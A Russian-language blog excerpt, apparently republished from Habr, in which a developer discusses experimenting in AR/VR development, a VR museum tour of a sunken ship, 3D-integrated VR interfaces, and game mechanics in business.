                                В разработке AR- и VR-приложений надо уметь экспериментировать: пока виртуальная и дополненная реальности изучены плохо. К техническим проблемам, которые периодически нужно решать, добавляется недопонимание, в каких областях можно использовать AR и VR (иногда в самых неожиданных). Например, у нас был проект для одного из заказчиков-военного музея – VR-тур вокруг затонувшего корабля. Кстати, для него мы сами написали шейдеры – программы для отображения материалов. Для этого пришлось вспомнить математику (в основном тригонометрию и перемножение матриц).

                                Богатое поле для экспериментов – пользовательский интерфейс. Для виртуальной реальности UI в привычном понимании как будто бы не нужен. Ты должен видеть мир вокруг себя, а стандартный интерфейс разрушает цельную картину. Какой смысл читать текст в 3D? Куда лучше будет перенести UI в подходящую 3D-форму. Условно, вместо того чтобы рисовать индикатор здоровья стандартным сердечком в правом верхнем углу экрана, в VR можно перенести его на солнце. Чем меньше остается здоровья, тем больше солнечный круг заполняется черным, и наоборот. Вот это уже подходящий интерфейс для VR.

                                Я верю, что у виртуальной реальности большой потенциал, хотя пока ее перспективы весьма туманны. Предсказанного VR-бума в играх пока не произошло. Возможно, раньше VR «выстрелит» для бизнеса: презентации с VR, особенно если добавить в них взаимодействие, производят wow-эффект.

                                Полезное решение – это интересное решение


                                В XXI веке бизнес и игра неожиданно перестали быть взаимоисключающими понятиями. Игры перешли на службу к бизнесу. Теперь они помогают ему завоевывать лояльность клиентов и мотивировать сотрудников. Оказалось, что в игру можно превратить что угодно: и покупку, и обучение, и даже поиск новой работы, – а главное, бизнес к этому готов.
                                Original source: habrahabr.ru (comments, light).

                                https://habrahabr.ru/post/338852/


                                Метки:  

                                Поиск сообщений в rss_rss_hh_new
                                Страницы: 1437 ... 1163 1162 [1161] 1160 1159 ..
                                .. 1 Календарь